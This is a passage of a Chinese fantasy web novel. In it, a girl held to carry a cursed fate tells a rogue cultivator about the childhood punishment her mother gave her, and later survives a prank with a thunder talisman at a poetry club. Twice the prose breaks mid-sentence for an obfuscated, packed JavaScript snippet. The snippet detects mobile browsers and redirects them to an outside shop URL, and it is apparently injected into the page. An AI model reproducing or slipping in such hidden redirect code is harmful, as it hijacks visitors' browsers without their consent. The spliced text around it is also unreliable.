崔妙微当时年纪还小,回来以后吓得大病一场,奶娘在院子里等了她一夜,又守了她一天,夜里便主动收拾行李请辞了。 自那以后,崔妙微彻底没有了亲近的人,院中的下人却更多了,她们有时候什么也不干,只是看着崔妙微而已,崔妙微常常觉得后背发凉,异常的孤独,有段时间连话都不会说了,也就此明白了自己和别人不一样。 公主刚把骆初静带回家的时候,崔妙微六岁,她起初欣喜自己有了个姐姐,后来慢慢明白,她和这个姐姐还是不一样,骆初静可以随意说笑,可以靠近公主,她不能,只能远远地看着昌平公主照顾骆初静。 有一日,崔妙微独自在花园中徘徊,遇见了公主教骆初静骑马,骆初静小时候非常瘦弱,骑马骑得很费劲,只敢抱着马脖子走一圈,公主的侍女邕娘把她抱下来,公主夸她很厉害。 崔妙微羡慕极了,奶娘走了以后,没有人会抱她了……她鼓起勇气从角落里跑出来,说自己也想试试。 公主默不作声,邕娘就让人为她牵了一匹小马出来。 崔妙微爬上马背,提着缰绳,害怕地走了一圈,她期待公主的夸赞,期待邕娘把她抱下来,却被一阵惊呼声惊得差点掉下来。 崔妙微抱着小马,赶紧回头,就见骆初静面色煞白地躺在地上,她坠了马。 公主抬起头,看她的眼神冷的刺骨。 骆初静摔断了腿,监视崔妙微的下人立刻上报,声称福康郡主常常暗中窥视大娘子。 昌平公主便觉得是崔妙微嫉妒骆初静,这才起了恶念,害她坠了马。 崔妙微吓坏了,连哭都不敢,瑟瑟发抖地跪在书房中,“可是我什么也没有做。” “那下人为什么要上报?”昌平公主却只觉得觉得她在狡辩,“如果你表现得足够好,让大家知道你不是那种会嫉妒的人,自然就不会有这种事了,下人会上报此事,就是因为你表现得还不够好,不够宽容大方,大家才会怀疑你是个心有恶念的人!是个坏孩子!” 昌平公主的脸色难看的可怕,她说崔妙微一定不能变成一个心有恶念的人,她告诉崔妙微,每一个五独之人都是被‘关死’的,现在崔妙微不仅心有恶念,还做了错事,崔妙微也要被‘关死’。 昌平公主先把她独自关在了一个伸手不见五指的暗房中,让府中的所有人都来告诉她,大家都多么地害怕她,讨厌她,她被‘关死’,没有一个人会拦着。 接着把所有人都赶走,不许任何人和崔妙微讲话。 崔妙微不记得自己被关了多长时间,门窗都被钉死,屋里不分白天黑夜,什么也看不见,也没有食物,她只记得自己起初每天哭喊着拍门,大叫着自己错了,求公主放她出去,可外面人来人往,没有一个人回应她。 她总觉得角落里有怪物,害怕地跑来跑去,把屋子里的东西撞得满地都是,摔的浑身是伤。后来她开始肚子饿,哭着在屋子里到处翻找,可什么也没有,最后饿的一点劲也没有了,她恐惧地缩在床底下,紧紧地抱着自己,就这样慢慢地失去了意识……那次她以为自己真的要死了。 好在公主只是想让她长长教训,最后还是把她放出来了。 崔妙微瘦的脱了像,从此就一直瘦弱,还开始怕黑,也开始极度在意旁人的目光,努力让大家知道她是个好人,绝不会对任何人心怀恶意,她也最宽容,从不计较任何事,生怕有谁会对她不满,觉得她不好,或者觉得自己被记恨了,便要上报给公主把她‘关死’。 到了那个时候,大家只会拍手叫好,没有人会出来阻止的。 有时她无意瞟了旁人一眼,生怕人误会,都要在心里翻来覆去好几日,发誓从此不再犯这样的错误。 崔妙微更懂事了,慢慢的,大家都知道福康郡主虽是五独之人,但却有一颗再善良不过的心,是个再好不过的人了,对着谁都是和颜悦色,从不生气计较,是最宽容大度的。 渐渐地,昌平公主似乎也不再让人监视崔妙微了。 崔妙微平静地讲完这些,似乎并不觉得有什么难过的,最后还撑起笑脸,道:“也因此,我才能成为一个好人,所以我很抗拒道长提出的一些‘办法’,我……不愿意做不好的事,尤其是用我的五独命格。” 施令岐一时没有回应。 崔妙微看不到施令岐的神色,无法判断他的想法,犹豫一会,道:“自从被‘关’过那一次以后,我心中再也没有过恶念,也不会做坏事。如果大家不接受我,遇见事情怀疑我,或者排挤我,那都是因为我做的还不够好,所以让大家误会我心有恶念了,只要解开误会就好了……这么多年我都是这么过来的。” 施令岐安静地听着,等崔妙微讲完了,他才缓缓道:“这些事会让你觉得痛苦吗?会恨昌平公主吗?” 崔妙微怔了怔,没想到他会问这个问题,下意识摇了摇头,慢了半拍才道:“不痛苦,也不恨……阿娘是为了我好。” “我……我是五独之人,能活着就是阿娘的慈悲,如果不是阿娘严厉教导,我不会做的这么好,恐怕早就惹了众怒,被大家要求‘关死’了,怎么会恨她呢……而且,那个屋子其实也没有那么可怕,阿娘也没有关我多久……” 也许是过于急切地想要说服施令岐,崔妙微说话开始磕磕绊绊的。 施令岐已经大概明白崔妙微的性格是怎么形成的了,对她和昌平公主的关系也有了认知,他沉吟一会,在崔妙微用词磕绊的间隙道:“你不用解释的这么详细,不好的回忆就不要回忆了,不要影响自己的情绪,我相信你不恨她。” 崔妙微一愣,这才反应过来自己的呼吸很急促,讲话竟然都有些哽咽,她有些狼狈地垂了垂头,飞快地说了一句,“我不痛苦,也不恨阿娘。” 施令岐等她平复好了心情,才语气平和道:“我不是在质疑你,我只是好奇你对昌平公主的看法,所以不用解释,现在我已经清楚了……我们言归正传,我明白了你为什么不想履行这个赌约,在我给出我的答案之前,我还有一个问题想先问问你。” 崔妙微的情绪还有些复杂,但闻言下意识就想辩解,她不是不愿意履行赌约,毕竟愿赌服输,她只是不希望施令岐用她‘五独之人’的身份去做坏事,但想了想,还是没说出来,只道:“你问吧。” 施令岐直白道:“你父亲当年是怎么死的?他和你母亲关系怎么样?” 崔妙微有些猝不及防,飞快地眨了一下眼睛,不明白施令岐为什么要问这个。 她已经很久没想起自己的父亲了,提起崔贤,心情不可自抑地低落了一些,斟酌了一会才道:“我父亲是在长安的时候意外去世的,当年发生了什么,我也不知道,我当时还太小了,不记事,阿娘来洛阳便把当年的旧人都换了,日子久了,就传出我克死了他的流言……” “至于我父母的关系,我觉得应该挺好的,府中有一个单独的院子,是阿娘着人收拾出来,专门放父亲的旧物的,打扫整理都是她自己来。” 崔贤的死是公主府的禁忌,崔妙微也不敢主动问,只知道这些了。 施令岐没有说话,崔妙微犹豫一会,还是道:“我要是有了恶念,害了人,不仅会被关死,还会对不起我阿娘,我活着,她承担了很大的压力,所以才对我很严苛,崔家嫌弃我,从来没有照顾过我,只有她接受我,当年她力保会把我养育成一个心无恶念的人,还为此迁居到了洛阳,我不能对不起她……” 说罢,她抿了抿唇,“道长,你能答应我吗?不用我的五独命格来做不好的事。” 施令岐想了想,坦诚道:“我不能答应你,我很同情你的遭遇,但赌约就是赌约,说言听计从,就要言听计从,你违背赌约,我就会找你的麻烦,这和你是什么命格没有关系,我和你打第一个赌的时候,就明确说过赌约之间不能互相干扰。而且如果你感化失败了,我可能确实需要利用你五独之人的身份做一些事情。” “但我可以保证你不会被‘关死’,我也不会要求你克害谁。” “你可以换一个赌注了。” 施令岐的话很直接,只是崔妙微没想到会是这样的答案,可以不让她克害人,但会利用她五独之人的身份……为什么呢? 施令岐也像那些修士那样,对五独之人十分不屑,甚至不屑到不愿意利用五独之人克人的地步吗? 崔妙微沉默一会,没忍住道:“你……不怕我吗?” 这是崔妙微从遇见施令岐开始就觉得疑惑的问题。 这多年,崔妙微没见过从不恐惧,从不用异样的目光看她的人,许多修士都害怕与她相处。 就连愿意与她常常接触的裴善道,小时候被下人们几句闲言碎语影响,也会害怕崔妙微。 可施令岐……好像一点也不怕她。 从第一次交谈开始,施令岐就看似有商有量,实则强势地掌控着话语权,他似乎一点也不怕崔妙微克他。 难道他一直都觉得崔妙微是不会害人的吗? 崔妙微甚至怀疑过他是昌平公主派来测试她的。 崔妙微紧张地掐了掐手心,不知道自己在期待什么样的回复。 施令岐安静一会,很轻地嗤笑了一声,语气并不狂妄,说出来的话却让崔妙微觉得他嚣张极了。 “我根本就不信这世上还有五独之人。” “你不相信这世上有五独之人?”崔妙微的手顿住,简直疑心自己听错了。 五独是自古流传下来的一种命格,典籍中记载,除了五独,还有其他三种命格,分别是‘三生’、‘鹤书’以及‘九死’,并称为四大命格,都各有奇特之处,在曾经还有仙人的时候,命格之说就与求仙一道紧密相连。 只论最近的前朝,有五独之人一经发现全家都连坐被关死的先例,也有善于修仙的‘三生’和‘鹤书’命格显现出来,立刻便成为天子的座上宾的轶事,本朝与从前不同的是,对求仙一道极尽打压,连带着各种命格传说神鬼轶事也不能放在台面上讲,大家说起来都说是假的,但私下里照样对方士狂热追捧,对命格传说也十分信奉。 就论公主府,昌平公主还是明牌厌恶方士之流的,但供奉仙人的香炉走几步路便有一个,熏得到处都烟雾缭绕的,更不用提她对五独之人崔妙微管的有多严苛了。 骆初静便是有名的‘上善’命格,算不上四大命格,但说出来,大家都信服她天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193441|197099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生就比常人善良正直。 本朝对修士更有严格的限制与规范,普通求仙的道士只能称为方士,方士入道学会了术法才能被称为修士,修士已经是少之又少了,邪修往往比修士更难得,因为禁术大多很难学会,而且也不是每个人的体质都能采生,只要是入了道的邪修,他们往往比寻常修士更有求仙的天赋。 施令岐身为邪修,还会千里传音这样的禁术,能把一个道行不浅的邪修隔空捏死,天赋堪称万里挑一,兴许本就有某种特殊的命格在身,理应是命格之说的狂热拥护者,可他竟然根本就不信这世上有五独之人。 即使作为一个声名狼藉的邪修,施令岐也显得过于离经叛道了。 崔妙微不知对自己说了多少次,如非必要,不要总是与施令岐过度交流,可还是忍不住追问道:“为什么?” 施令岐不知为何,却拒绝回答,“解释这个和改变你的命运没有任何关系。” 崔妙微一怔,立刻道:“我新的赌注就是要求你回答这个问题。” 耳边安静了一会,施令岐淡淡道:“了解我的想法有什么用?又改变不了外界对你的看法。” 崔妙微顿时冷静了……是啊,就算她知道了施令岐为什么不相信五独命格,又有什么用呢?别人会信吗? 用这个要求只得到一个邪修对她的看法,未免也太不值当了。 冷风夹杂着香灰席卷过来,崔妙微咳嗽两声,人也更清醒了,思来想去,最后道:“那我希望你能找出害了赵奉珠的真凶。” 崔妙微这些日子不出门,除了修养身体,还有就是被太多异样的目光环绕了,赵奉珠是被福康郡主克死的,这种话在下人间已经开始疯传了,崔妙微表面上不在意,但心中十分惶恐,种种原因堆叠在一起,导致她几个月都不愿意出门。 施令岐答应了。 崔妙微刚松了口气,就听见施令岐忽然道:“要不要再打一个赌?” “这次如果你赢了,你想问什么问题都可以,比如我为什么不相信世上有五独之人,只要我知道,我就回答,你输了,我还是什么都不要。” 他微笑道:“要玩吗?” 崔妙微登时反应过来,忍不住站了起来,“你刚才说知道了也不能改变别人的看法,其实是托词,你只是为了让我继续打赌而已。” 施令岐的语气坦然又镇静,“那你要赌吗?” 崔妙微有些懊恼,她方才就是被施令岐绕住了……她当然想知道为什么了。 而且这并不公平……即使她刚才猜到了施令岐只是托词,她也不会敢强行要求施令岐回答问题的,最终还是会换成别的要求…… 崔妙微想到这里,反而又冷静下来,这个和自己对话的男人是个邪修,她本就是在虎口求生…… 崔妙微这次不敢再轻率地做决定,忍不住回忆起来。 迄今为止,施令岐一共和崔妙微打了三个赌,第一个赌,是赌裴善道会不会陪她参加诗会,施令岐赢了,他什么也没要,但这是崔妙微相信命运之说的重要原因……即使现在崔妙微也并不是全然相信。 第二个赌是赌崔妙微能否用自己的办法让赵贞放弃陷害她,输赢暂时未知。 第三个赌是赌骆初静会不会为崔妙微出头,崔妙微赢了。施令岐答应找到害了赵奉珠的真凶。 第四个赌,又会赌什么呢? 崔妙微不明白施令岐为什么热衷于和她打赌,难道真的只是为了好玩吗?邪修的狡诈恶毒人尽皆知,为了修道献祭全家人都在所不惜,她是否在不知不觉间失去了什么呢?亦或者他根本就不打算履行赌约? 初春的天气微寒,长廊中浓重的香火味让人觉得很压抑,由于过度紧张,崔妙微的额上又浮出了一层细汗,她不断地擦,可怎么也无法擦去心中那种找不到头绪的焦躁感。 施令岐还在画符咒,他大概猜到崔妙微在纠结什么,把手中新的这张画好,他便放下笔,声音和语调在这种时刻显得沉稳又可靠,“只是打赌而已,拿我们都无法控制的事情找找乐子,你会失去什么呢?有什么是我无法直接从你身上得到的?相反,如果我信守了诺言,你就能得到想要的东西,这难道不好吗?” 就是因为太好了,仿佛崔妙微什么也不用付出……世上怎么会有这样的好事? 施令岐之前说自己是逍遥道,崔妙微心中半信半疑,传说中的逍遥道穷凶极恶阴险狡诈,而施令岐…… 崔妙微很不想承认,施令岐明明是个邪修,可依旧显得很有修养,给人的感觉起码出身富裕人家,接受过良好的教育,擅长交际,懂得如何与人拉近距离。 崔妙微察言观色到了极点,对人的性格也有些自己的见解,这种人,在日常生活中应该是顺风顺水的,很难将他与离群索居喜爱静修且性格暴戾的邪修联系起来。 可到了现在,崔妙微已经信了大半了。 施令岐屡次打赌,一定是有所图谋,而崔妙微明知此事,还只能心甘情愿地选择照做。 崔妙微思忖许久,到底还是答应了,她心里其实是有些气恼的,说出口的语气虽依旧和缓,却故意没有先叫一句道长,只道:“这次赌什么?” 施令岐也没有因为崔妙微的答应而摆出什么我早就算到的模样,这让崔妙微无形中舒服了很多,他道:“就赌一会如果诗社闹出事情,公主会不会相信你,没有闹大就作废。” 崔妙微下意识皱了一下眉,沉默一会,“你还是觉得我不能阻止赵贞吗?” 施令岐只道:“如果你确定你可以阻止赵贞,那还犹豫什么呢?” “况且我说的也不是赵贞陷害你的事,而是别的事,你自己应该也有感觉,预言中赵贞能成功,不可能只靠她一个人的力量,和诗社的氛围以及你个人的人际关系也有很大联系。” 刚才当众道歉的事就是很好的例子。 “我要赌的就是如果这群女郎今天闹出事来,你还被牵连其中,公主会不会相信你。” “如果风平浪静,赌约就作废。” 崔妙微莫名有些难堪,对这个赌约比其他的赌约都要抗拒,“不管是什么事,阿娘肯定会相信我的,这么多年我的一言一行她都看在眼里,她知道我不会做坏事的……能不能换一个赌约?” “既然肯定会相信你,又有换的必要吗?”施令岐重新拿起了笔,抽出一张新的符纸,边道:“有脚步声,有人来找你了……关于赵奉珠的案子,我会调查,如果有任何线索,记得及时告诉我。” 施令岐话音刚落,拐角处就来了个侍女,崔妙微只能立刻低头闭上了嘴。 是骆初静遣人来找崔妙微了。 崔妙微没有时间再纠结,到底还是默认了赌约,跟着侍女回到了廊中亭。 诗赛要开始了。 7. 第七章 廊中亭与半山亭通过庭院连接,沿着长廊,没走几步路便到了。 方才争执的阴霾似乎已经过去了,亭中正热闹。 骆初静在主位和宋三娘几人闲话,一旁的长廊中,赵贞几人反倒不合群了,赵贞红着眼睛,刘二娘等人似乎在安慰她,几人压着声音说着悄悄话,朦胧的香烟中看不透她们的神色,只能感觉到几人的目光停留在庭院中的‘专座’上。 崔妙微一看这么多人,又各怀心思,顿觉疲惫,硬着头皮进去了。 骆初静远远看见了崔妙微,立刻朝她招手,将她引到了亭中。 骆初静拉住崔妙微的手,关切道:“你没事吧?贞娘说话就是不经过头脑……” 崔妙微摇摇头,打断了她的安慰,“这件事情已经过去了,长姐,直接开始诗赛吧。” 见崔妙微并未受影响,骆初静松了口气,安慰地捏捏崔妙微的手。 崔妙微不知为何,轻轻地把手抽了回来,在骆初静略带不解的目光中解释道:“这里风大,我先去边上坐着。” 骆初静这才笑了笑,“也是,你身子弱,但是先等等……这次,长姐不会让你吃亏的。” 骆初静说完,就轻轻抚掌,将女郎们都召集过来,“今日的诗赛就不像往日那般写诗了,改成手帕赛,近来诗社风气不好,大家都看在眼里,手帕赛就用来给诸位社员们联络感情。还是选两个人参赛,但就不写诗了,二人选一首诗,众人觉得谁选的好,便给谁投一个手帕,谁得的手帕多,谁就获胜。” 参赛的二人自然就是崔妙微和赵贞了,只是不写诗,崔妙微也就不用坐在‘专座’上了。 崔妙微还没说话,立刻便有人不满了。 刘二娘自觉方才在赵贞那露了怯,现在便嚷嚷着为赵贞出头,“圣德皇后有言,诗社之内人人平等,凭什么为郡主搞特殊?诗赛办了这么多年,难道要说变就变吗?” 刘二娘身后的女郎们立刻点头附和,不愿意突然更改赛制。 骆初静却早有准备,义正言辞道:“此次诗会与往常诗会大有不同,不仅我们这里开诗会,满芳园中,公主与一众夫人学子也在开诗会,随时可能过来互相评赏,即使是诗社的规则,可让郡主置身雨中作诗,若是传出去,众人要怎么看待诗社?刘二娘你担得起这个责任吗?” 昌平公主素来不问世事,今日是数年来头一回开府办宴,到宴的人中甚至有长安来的贵人,若是潇湘诗社出了事,传出去恐怕要丢大丑。 刘二娘心中不服,却一时想不到反驳的话,她身后的赵贞转了转眼珠,道:“我们体谅社长为诗社的名声着想,可诗社的规矩不能废,朝令夕改,社员们怎么会再守规矩?” “不如这样,一会的手帕赛,若是郡主输了,就必须坐自己的专座,直到诗会结束,维护诗社的规矩,若是赢了,这个‘专座’就一举撤掉,再不搬回,如何?” 骆初静闻言立刻便答应了,她似乎胸有成竹,对崔妙微眨了眨眼睛,“郡主觉得如何?” 崔妙微把赵贞与刘二娘的眉眼官司看在眼中,心中有些担忧,但她本来就是来求和的,赵贞说什么她都答应,骆初静不再阻挠,自然是最好的,“我也听社长的。” 骆初静便轻轻抚掌,让崔妙微与赵贞各自选诗了,赵贞与刘二娘等人走到远处商量起来,不知说到了什么,赵贞甚至拉着刘二娘进了远处的厢房。 崔妙微没再多看,犹豫着要选谁的诗,却见骆初静拉着宋三娘说了什么,宋三娘忽然抬头瞪了她一眼,很快便被骆初静推了一下,接着骆初静支开身边围绕的社员们,将崔妙微带到角落,低声道:“我已经为你选好了,上次诗会,大家选出了最喜欢的诗人李翰林。此事还未公布,我徇私为你用上,替你选了他最出名的几首诗之一。” 崔妙微愣了愣,“这……谢谢长姐,你费心了。” 崔妙微不知该不该说骆初静天真,谁不喜欢李翰林?只是她就算是选了仙人写的诗,恐怕大家也只会选赵贞。 赵贞很快也选好了诗,侍女将两首诗都贴在了廊中的柱子上,赵贞与崔妙微二人分别站在自己选的诗下。 愿意参赛的社员们开始排队投手帕,剩下的女郎则在一旁围观。 崔妙微看了一眼赵贞选的诗,她喜欢读诗,市面上有些名气的诗她几乎都看过背过,可这首诗崔妙微从未见过,诗人的名字也没听过。 崔妙微能看到众人路过自己时急切的步伐,小半柱香过去了,愿意评选的有十来个女郎,崔妙微的花框中一条手帕也没有。 崔妙微安静地看着,她素色的衣摆在冷风中萧瑟,面色却平静极了,似乎并不觉得难堪。 施令岐一直在旁听,忽然道:“你其实不是想和赵贞解开误会,你也觉得赵贞只是在借机欺负你,但你选择向赵贞低头,希望她满意以后就放过你,以此求得安稳。” 崔妙微怔了怔,慢慢垂下了眼帘。 她没有回应。 施令岐仿佛也只是随口一说,崔妙微不回答,他也并不追问。 诗社大概有二十来个女郎参了赛,崔妙微能注意到有几个女郎原本想投给她,可走到近前,被刘二娘使个颜色,都连忙低下头,投给了赵贞。 宋三娘等人向来不愿意站队,在远处低声窃窃私语。 比赛很快便结束了,骆初静面沉如水,宣布赵贞获胜了,目光却担忧地望着崔妙微。 赵贞虽胜,脸上也并无笑意,见骆初静对崔妙微十分关切,别过脸,赌气般地不看骆初静。 崔妙微面色平和,微笑着祝贺赵贞,“恭喜贞娘获胜。” “我输的心服口服,长姐,让侍女找把伞,我现在就去坐。” 院中的驱雨阵关上就没打开,侍女很快送了伞来,崔妙微撑着伞,提着裙摆,从长廊中出来,踩着庭院中的淤泥,坐到了自己的专座上。 藤椅已经湿透了,崔妙微坐上去就打了个冷颤,她把伞压低,闭上眼睛,深深地呼了口气。 崔妙微不知道自己这样算不算是向赵贞低头以求安稳,她只知道自己低头了,这件事大概率就会过去了。 这么多年,她都是这么过来的,施令岐说要帮她改变命运,却根本不了解她的处境。 她是五独之人,这个世界不欢迎她,她想要好好活着,就只能这样。 女郎们从亭中散出来,沿着长廊慢慢将院中的崔妙微围住,窃窃私语的声音从四面八方传过来。 雨越来越大,一把油纸伞根本挡不住,崔妙微很快便全身湿透了,脸色惨白,垂着眼睛一言不发。 雨水噼里啪啦地浇打在油纸伞上,崔妙微听着这个声音,四周众人的脸都是模糊的,她心中却平静极了。 施令岐忽然道:“不会觉得委屈吗?” 崔妙微怔了怔,轻声道:“没什么好委屈的。” 只能怪她自己不够周全,做的还不够‘好’,如果她当时忍着病痛过来坐了专座,应该也没有今日赵贞会陷害她的事了。 施令岐没再说话了。 雨突然越下越大,崔妙微身上很快就湿了大半,鬓角的发黏在两颊,从脚冷到手,手抖的都快握不住伞,她看了看脚边的石砖,就这一会,仿佛积了好几倍的水,长廊中突然传来女郎们的惊呼。 崔妙微皱着眉,把伞微微抬起一些,就见天色忽然变得阴暗,冷风席卷着香灰在院中迷了人的眼,仿佛一下就到了傍晚。 廊中的众人也觉得不对,探头出来看,“怎么就一会,像是要下暴雨了一般。” “是啊,突然飘来两朵阴云。” “是不是谁家请了雨?” “才二月二,请什么雨啊?” 忽然有人指着天上,惊叫一声,“好像要打雷了!快把驱雨阵打开!” 可话音刚落,天空仿佛扭曲了一般,忽然劈下一道惊雷,直直打在了庭院中。 众人眼前几乎是一黑又一亮,长廊中传来了各种各样的尖叫声,等再次能看清的时候,院中泥土飞溅,生了个焦黑大洞,地上一片狼藉,崔妙微耳边巨响,来不及做任何反应就被掀翻倒在一旁。 这一切发生的太快了,雷正好就劈在了崔妙微的身旁,她觉得自己也尖叫了,似乎还和藤椅一起被掀翻在了地上。可等到回过神来的时候,她已经被两个女郎扶进了长廊中,头晕耳鸣,眼前的一切都在摇晃。骆初静一直焦急地拍着她的脸颊。 崔妙微晃了晃自己的脑袋,过了好半晌才找回自己的神志,反应过来,自己差点被雷劈了。 崔妙微努力找回了声音,小声道:“长姐,我没事了。” 骆初静的手都在抖,脸色难看极了,长廊中好几个女郎被雷吓哭了,看到骆初静的脸色,竟然都不敢哭出声。 骆初静好几年前就加入了诗社,在众人印象中,她大多和善平易近人,虽偶有严肃的时刻,但从没有过这样黑过脸的。方才强压着赵贞道歉,脸色都不像现在这么可怕。 骆初静确认崔妙微意识清醒才松了口气,让宋三娘等人将崔妙微扶起来,接着冷冷地看着赵贞等人,“是不是你们干的?这种雷,一看就是用了引雷符!若不是院中有避雷阵,后果不堪设想!” 院中一片寂静,赵贞等人也吓坏了,脸色一个比一个白,但大多神色迷茫,只有刘二娘偷偷看向赵贞。 这引雷符确实是赵贞带来的,只是她显然也没想到这引雷符的威力这么大,她本来只是打算吓唬吓唬崔妙微。 本朝打压方士,更严禁方士在民间私自使用术法,符咒则比较特殊,因为大部分符咒寻常人也能用,被朝廷严格管控,每年春耕夏种的时候,哪个地区缺了雨水,只能先上报知府,再由知府申报到朝廷,朝廷派人考察,确定需要以后,请方士引雷,方士引不出雷,便要请朝廷发放引雷符。 洛阳近年多雨,从未用过引雷符,因此赵贞虽身有符咒,却并不知威力如此之大,若不是有避雷阵再,天雷打不到人的身上,恐怕要出大事。 符咒制作也十分不易,需要大量的灵气,有些有底蕴的人家会存些符咒,只要不放在明面上来说,朝廷也睁一只眼闭一只眼。 但私自使用来路不明的符咒,只要朝廷追究起来,就是重罪,即使是贵族女子,也至少要杖三十,若是查出与方士私下有勾结,就更是犯大忌了。 诗社的惯例就是小叙过后便不许用侍女了,骆初静只能先让宋三娘组织了几个女郎,把赵贞等人都关到就近的厢房中,“用了符咒身上势必有余下的符引子,这个东西不能乱丢,肯定还在身上,一搜便知。” 符咒分为两部分,一半是符引子,一半是符咒,使用需要先点燃符引子的部分,符引子引燃符咒以后便会自行熄灭,符咒使用成功以后,会留下大概手指大小的符引子,需要保留,过后让方士除崇。 赵贞等人脸色惨白,哪里还敢反抗,被宋三娘推搡到了厢房中。 骆初静这才叫了侍女进来收拾残局,崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193442|197099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙微被安置在一旁,她浑身湿透,有侍女给她倒了热茶让她暖暖身子,还请她先去一旁的厢房更衣。 崔妙微平复好了心情,拒绝了侍女让她更衣的要求,起身走到骆初静身边,“长姐,让我来搜吧。” 骆初静要说话,崔妙微拍拍她的肩膀,在她欲言又止的目光中,独自进了厢房。 骆初静转头看着满院子狼藉,不由叹了口气,让侍女们略微收拾便赶紧退出去。 侍女们不知发生了何事,更不敢打探,低着头进来低着头出去了。 厢房中,好几个女郎都吓哭了,此事赵贞与刘二娘是主谋,其余几人都是不明所以就跟着起哄的,现在六神无主,一句话都说不出来。 赵贞脸色苍白,一见崔妙微进来了,还是强撑着扬起了下巴。 崔妙微打量了几人的脸色,顿了顿,径直地走向了赵贞,在她惊惧的目光中,挑起了她腰间的荷包,“符引子就在里面吧……” 崔妙微方才重回廊中亭,就发现赵贞腰间的荷包换了位置。她向来观察入微,一眼就看见了。 赵贞眼中闪过一抹惊慌,却还是咬着牙不肯说话。 崔妙微又看了看赵贞身边的刘二娘等人,几人都避开了崔妙微的目光,刘二娘更是神情慌乱,几乎要倒下的模样。 几人僵持一会,还是刘二娘先扛不住了,竟然跪下了,哭道:“郡主,对不起,我们只是想吓唬吓唬你,不知道这个引雷符这么厉害,求求你向公主说说好话,不要把我们送官。” 几个女郎都哭起来了,接二连三地跪在刘二娘身侧,哀求地看着崔妙微,“郡主,我们都是从小一起长大的情谊,请你宽恕我们这一次,我们真的什么都不知道。” 屋内愁云惨淡,女郎们也不觉得下跪受辱了,只有赵贞还强撑着不肯低头,咬着牙一句软话也不肯说。 崔妙微不管旁人,只看着赵贞,“这符咒是你家中的?若是事发,追究起来,家里都要遭殃,赵明府在洛阳身居高位,却也敏感,赵贵妃虽得恩宠,但若是与方士之流扯上关系,难保天子如何看待。” 赵贞咬死不肯说话,双手却紧握起来。 崔妙微此时再看向其余几个女郎,只对上几双迷茫又惊惶的眼睛。 崔妙微沉默一会,还是主动给了赵贞台阶,她把荷包扯下来,挂在了自己的腰间,“你们以后不要再做这种事了。” 众人见她态度似乎软化,立刻不停地应和点头,心中竟然升起从未有过的感激之情。 不理会女郎们的心情,崔妙微往前走了一步,额头几乎和赵贞相抵,她看着赵贞躲闪的眼睛,声音轻的只有二人能听见,“贞娘,这件事我不会追究了,我希望你知道,我没有克赵奉珠,也没有克过任何人,以后也不会克任何人,你要做什么,都不要做了……我们之间能解开这个误会吗?” 赵贞顿时瞪大了眼睛,惊疑不定地望着崔妙微。 二人对峙半晌,赵贞最后还是轻轻地点了点头。 崔妙微接着道:“符引子就放在我这里了,我们相安无事。” 赵贞咬着唇看着她,最终一句话也没说。 · 崔妙微把符引子收好,没急着去找骆初静,反而顺着门前四通八达的长廊,拐去了一个偏僻的角落。 她倚在柱子上,疲惫地闭上眼睛,长长地、长长地呼了口气。 崔妙微靠着柱子,慢慢滑坐在地上,正想着要说什么,施令岐先说话了,“你早就知道赵贞要用引雷符吗?” 崔妙微摇了摇头,意识到施令岐看不见以后才道:“我不知道她这么大胆,我以为只是什么别的恶作剧……这样也挺好的。” 施令岐也不知道有没有相信,保持了沉默。 崔妙微摸不透他的想法,纠结许久,最后还是道:“我确实向赵贞低头换取安宁了,我明明是被欺负的人,却还要去包庇那个欺负我的人,只因为我要做个‘好’人,要让大家觉得我是个心无恶念的好女孩……你可以瞧不起我,但是……” 施令岐第一次打断了崔妙微的话,“你觉得有用吗?” 崔妙微愣了愣,缓缓道:“有用的……起码以往都有用的,这样可能比我坐‘专座’都更有效,赵贞都有把柄在我手上了。” 雷劈下来的那一刻,崔妙微猜到了是赵贞干的,她其实是松了口气的。 骆初静强逼赵贞道了歉,赵贞个性招摇爱面子,崔妙微就知道她不会轻易善罢甘休,她本来就打算陷害崔妙微了,如今心头起火,肯定会在别的地方找回来。 崔妙微早就做好了准备,要在其中找到机会与赵贞和解,这引雷符对崔妙微而言,其实来的很好。 施令岐平静道:“那我没什么好瞧不起你的,我的目的就是让你改变命运,你用你的‘低头’感化了赵贞,达到了目的,为我省了很多事。” 崔妙微怔了怔,心中有种莫名的感觉,“那第二个赌约算我赢了吗?” 施令岐觉得她有些盲目乐观了,赵贞能陷害崔妙微,显然与诗社的社风有很大的关系,只‘感化’了赵贞一个人,用处可能并不大,但他并没有说什么消极的话,只道:“等今天结束就行。” 崔妙微到了此刻才真正的放松了,从三日前施令岐出现在她耳边,她的心就一直提着,一旦被人发现她和邪修扯上关系……五独之人与邪修有勾结,她怎么也说不清了。 等施令岐遵守约定离开了,她就不用这么提心吊胆了。 8. 第八章 崔妙微休息了小半柱香的功夫,等到浑身都冷的发抖了,才不得不爬起来。 崔妙微现在才有心情关注自己,她浑身上下都湿透了,一直无意识打着冷颤,鬓边的发丝黏在脸颊上,她用手全都挽到了耳后,让自己显得没有那么狼狈了,这才顶着寒风回到了廊中亭。 崔妙微先回到厢房中,把赵贞叫了出来,然后二人一起去找了骆初静。 